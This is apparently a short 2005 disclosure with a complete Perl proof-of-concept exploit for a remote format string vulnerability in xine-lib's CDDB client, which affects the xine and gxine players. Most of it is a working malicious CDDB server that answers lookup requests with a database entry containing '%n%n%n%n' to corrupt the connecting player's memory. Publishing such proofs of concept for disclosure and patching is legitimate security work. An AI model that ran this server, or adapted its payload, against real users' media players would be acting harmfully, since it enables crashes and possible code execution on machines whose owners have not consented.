Proof of concept exploit for the remote format string vulnerability discovered in the xine/gxine CD player. The vulnerable code is found in the xine-lib library that both xine and gxine use. The vulnerable versions are at least xine-lib-0.9.13, 1.0, 1.0.1, 1.0.2 and 1.1.0. Patch available here.
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#!/usr/bin/perl --
# xine-cddb-server
# by Ulf Harnhammar in 2005
# I hereby place this program in the public domain.
use strict;
use IO::Socket;
$main::port = 8880;
$main::timeout = 5;
# *** SUBROUTINES ***
sub mysend($$)
{
my $file = shift;
my $str = shift;
print $file "$str\n";
print "SENT: $str\n";
} # sub mysend
sub myreceive($)
{
my $file = shift;
my $inp;
eval
{
local $SIG{ALRM} = sub { die "alarm\n" };
alarm $main::timeout;
$inp = <$file>;
alarm 0;
};
if ($@ eq "alarm\n") { $inp = ''; print "TIMED OUT\n"; }
$inp =~ tr/\015\012\000//d;
print "RECEIVED: $inp\n";
$inp;
} # sub myreceive
# *** MAIN PROGRAM ***
{
my $server = IO::Socket::INET->new( Proto => 'tcp',
LocalPort => $main::port,
Listen => SOMAXCONN,
Reuse => 1);
die "can't set up server!\n" unless $server;
while (my $client = $server->accept())
{
$client->autoflush(1);
print 'connection from '.$client->peerhost."\n";
mysend($client, '201 metaur CDDBP server v1.5PL2 ready at '.
scalar localtime);
while (my $str = myreceive($client))
{
if ($str =~ m/^cddb hello ([^ ]+) ([^ ]+) (.+)$/i)
{
mysend($client, "200 Hello and welcome $1\@$2 running $3.");
next;
}
if ($str =~ m/^proto (\d+)$/i)
{
mysend($client, "201 OK, CDDB protocol level now: $1");
next;
}
if ($str =~ m/^cddb query ([0-9a-f]+)/i)
{
mysend($client, "200 rock $1 Exploiters / Formatted and Stringed");
next;
}
if ($str =~ m/^cddb read ([a-z]+) ([0-9a-f]+)/i)
{
my $docum = <<HERE;
210 $1 $2 CD database entry follows (until terminating \`.')
# %n%n%n%n
DISCID=$2
DTITLE=Exploiters / Formatted and Stringed
DYEAR=2005
DGENRE=Rock
TTITLE0=Format
TTITLE1=String
TTITLE2=Bug
EXTD= YEAR: 2005
EXTT0=
EXTT1=
EXTT2=
PLAYORDER=
.
HERE
$docum =~ s|\s+$||s;
mysend($client, $docum);
next;
}
if ($str =~ m/^quit$/i)
{
mysend($client, '230 metaur Closing connection. Goodbye.');
last;
}
mysend($client, '500 Unrecognized command.');
} # while str=myreceive(client)
close $client;
print "closed\n\n\n";
} # while client=server->accept()
}